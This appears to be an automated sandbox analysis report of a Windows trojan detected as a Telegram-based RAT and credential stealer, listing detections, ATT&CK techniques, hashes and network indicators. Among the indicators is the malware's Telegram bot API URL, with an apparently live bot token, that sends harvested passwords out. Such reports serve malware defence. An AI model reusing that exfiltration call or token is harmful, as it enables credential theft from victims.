Source: Yara match	File source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 8.2.RegSvcs.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.JWPRnfqs3n.exe.d80000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: JWPRnfqs3n.exe PID: 2444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 2172, type: MEMORYSTR

Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00876283 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		5_2_00876283
Source: C:\Users\user\Desktop\JWPRnfqs3n.exe	Code function: 5_2_00876747 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		5_2_00876747

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	131 Security Software Discovery	SSH	3 Clipboard Data	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
JWPRnfqs3n.exe	79%	ReversingLabs	Win32.Trojan.AutoItinject
JWPRnfqs3n.exe	67%	Virustotal		Browse
JWPRnfqs3n.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	104.21.80.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455	RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org	RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	false	high
http://reallyfreegeoip.org	RegSvcs.exe, 00000008.00000002.3730877202.0000000002742000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002714000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	RegSvcs.exe, 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000008.00000002.3730877202.00000000026A1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot-/sendDocument?chat_id=	JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	JWPRnfqs3n.exe, 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3730877202.0000000002720000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.80.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588982
Start date and time:	2025-01-11 07:58:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	JWPRnfqs3n.exe renamed because original name is a hash value
Original Sample Name:	278d8f1d42cc9c240dcaee341104615fda13571ca36748ce099ebf7740875905.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 54 Number of non-executed functions: 274
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 172.202.163.200, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:59:19	API Interceptor	9272539x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.80.1	NFhRxwbegd.exe	Get hash	malicious	FormBook	Browse	www.aziziyeescortg.xyz/2pcx/
	qlG7x91YXH.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/0hqe/
	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	clientservices.sgoogleapis.observer/api/index.php
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe
132.226.247.73	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	tNXl4XhgmV.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Ddj3E3qerh.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	6cicUo3f8g.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
reallyfreegeoip.org	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
api.telegram.org	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	xNuh0DUJaG.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.96.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	fqbVL4XxCr.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
UTMEMUS	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	tNXl4XhgmV.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	MBOaS3GRtF.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	b6AGgIJ87g.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.80.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
3b5074b1b5d032e5620f69f9f700ff0e	c7WJL1gt32.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	14lVOjBoI2.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\JWPRnfqs3n.exe
File Type:	data
Category:	dropped
Size (bytes):	61890
Entropy (8bit):	7.887558869365694
Encrypted:	false
SSDEEP:	1536:ZeXE4MwTJ1u370bxTEnUBmN+Y0xUk6IFfbjgDM6B:YjvFxvAHOUk6qfbjg1B
MD5:	A77A4BBFDE1A83090A447082BF0F349D
SHA1:	34DFBEC631556F21F70314F3BAC1F44F77F38465
SHA-256:	5F81EED3FD97CF87D536604E733CF23B330AAF73AACB9FE32B8B44E959BB4592
SHA-512:	37D04F514CEDC03D4F4BA0685F286860435439CB99CD14E4C7973FFDCFC0D949A783CB072DCB4731CC59776D4F40D3895670664F3287665228845567E74E6C4A
Malicious:	false
Reputation:	low
Preview:	EA06..n..X...5jmH.L..->..X.N3...Z.R'..Eb.M.U...6...6..Eb...}....Y../v).F.v.J...T.q..j...Z.]....c:.En..kR...E..#0....z...~......-jiI.....X.L..18.Nfuk............. Lj...Fk..Z.Vjt...F(...6q3.P..0.F.8.J@.1F.....7.\.6..2....u\|........~..-j\|.%..b.9...v.L.P%...T......:.H.n...b.K.J..FB......!<..6\|.!.j1:...2..N..i.-`. ...(...B..i..6@............N&..b.N.$!s...K..R0....^.....Z.......f.;.....MI......+P.."..HH.....A;.$(............B..HN@....!/.$+u..^q3.Z/.:}....V"x.L^.8...u..&Wv..;..-je;.....B.X.R........P....6.T.UbP)..I .N&t.m..M.U'z.mzsE..-....X......Fw..P.Sj.J#V.v+@..J.K..h...(...T@.......H.....-.V...........X.H...j..%....'....u...U..T.^s..>..<Mj..NgV..'S\|...<.D.5kTJ.M.U".p..r...6.`.....n..DB.V.W.vXMRqW.\.tY$..8...k......3.-{.N.L..I_..X.Gz0...r...kFJ.e...7....0.D/...X.J...V....%c@$.DJ.V.\<....;...Z.T.\|.V.xuRu..-5 .".@.e.......V..(.vK7.T.}.,.<.Y.EvU3.P+U..h...Q ..2%..P4.`."t..[@..5..B.K..&EN]%..../.....)..G.qX..q.jD.g..~*.Xl.9..+\|m.Bq3.WhW..b.2..

C:\Users\user\AppData\Local\Temp\cacostomia

Download File

Process:	C:\Users\user\Desktop\JWPRnfqs3n.exe
File Type:	data
Category:	modified
Size (bytes):	93696
Entropy (8bit):	6.822744624530832
Encrypted:	false
SSDEEP:	1536:IYXWDp0sRsPoF3ZTEVRjV9qldld7eG2m+VSx9jDzNywKK74Afyf:wagTEV5V9qlndx+VSfDz9p74/
MD5:	2685443955D9087753A0FE5D095DD375
SHA1:	1FAEAAFDAA78F9A776D572758E4F5B901A2F2E2D
SHA-256:	B591B5C56471F68BDE4D4D83329D654E5FF5E9F24FD188DAB72C632447E5E36C
SHA-512:	E7915A3295DE5280997C14FCBA6902FB02104716D9351620CE652BC26CA5BAA39CCA207F6B42A8313523F1242F2AD680F2E2A910E450A6D7C724BD81E9B710CF
Malicious:	false
Reputation:	low
Preview:	.b.9FZ6H<3VB..MX.8Q8X9EZvH83VBXSMXT8Q8X9EZ6H83VBXSMXT8Q8X9EZ.H83X].]M.].p.Yu.{b Q@v2<5Uq[9W+5BhZVv0-=m1:..w..(5R-.>[H\|SMXT8Q8.\|EZzI;3.x-.MXT8Q8X9.Z4I32.BX7LXT0Q8X9EZ8.93VbXSM.U8Q8.9Ez6H81VB\SMXT8Q8\9EZ6H83V.YSMZT8Q8X9GZv.83FBXCMXT8A8X)EZ6H83FBXSMXT8Q8X9..7Hs3VBX.LX.=Q8X9EZ6H83VBXSMXT8Q.Y9IZ6H83VBXSMXT8Q8X9EZ6H83VBXSMXT8Q8X9EZ6H83VBXSMXT8Q8X.EZ>H83VBXSMXT8Y.X9.Z6H83VBXSMXzL4@,9EZ"93VbXSM<U8Q:X9EZ6H83VBXSMXt8QXvK6(UH83.GXSM.U8Q>X9E<7H83VBXSMXT8Q8.9E..:]_9!XSAXT8Q.Y9EX6H8_WBXSMXT8Q8X9EZvH8qVBXSMXT8Q8X9EZ6H.WBXSMX.8Q8Z9@Z..83..XSNXT8.8X?%.6H.3VBXSMXT8Q8X9EZ6H83VBXSMXT8Q8X9EZ6H83VBXSMX.E.7..3E..3VBXSMYV;U>P1EZ6H83VB&SMX.8Q8.9EZ.H83sBXS XT8u8X9;Z6HF3VB<SMX&8Q899EZqH839BXS#XT8/8X9[X.W83\h~SOpt8Q2X..).H89.CXSI+v8Q2.;EZ2;.3VH.PMXPKu8X3.^6H<@sBXY.]T8U..9F. N83M-`SMRT;.-^9EA.n81~{XSGX~.Q;.,CZ6S..V@.ZMXP..KE9E\..83\6QSMZ.2Q8\.[X..83\hz-^XT<z8r.;N6H<.Vhz-XXT<z8r.;L6H<.Vhz-ZXT<z8r?o86:.?V2[<,XT>y.X9OrvH85VhbS3VT8U:7.EZ<n..Vj.SM^T..8X?EreH85Vj.SM^T..8X?Ep.H.cVB^Se.T8W8r.E$.H87zE&`MXP.GFi9E^.N@3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.909656492336042
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JWPRnfqs3n.exe
File size:	992'768 bytes
MD5:	820c5b5f7fd86172a9637e4af12fad06
SHA1:	84605205d8d9b391b8ac5fb1a2059d8b2ade5bab
SHA256:	278d8f1d42cc9c240dcaee341104615fda13571ca36748ce099ebf7740875905
SHA512:	fd3358be8f0631a9ba2641bd01ea55e0cd8a52bede68098d0475f2189568b33c63e7070c1e2b2cd714fc39c06965a555145f2a3f23f6b53c33f94821f2622519
SSDEEP:	24576:zu6J33O0c+JY5UZ+XC0kGso6FavL1TBKS7WY:du0c++OCvkGs9FavL1TINY
TLSH:	8525AE2273DDC360CB669173BF69B3016EBF7C650630B85B2F981D79A960171262C7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	0b1888c999ad811f

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6750BC2C [Wed Dec 4 20:31:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FAA2108BC5Ah
jmp 00007FAA2107EA24h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
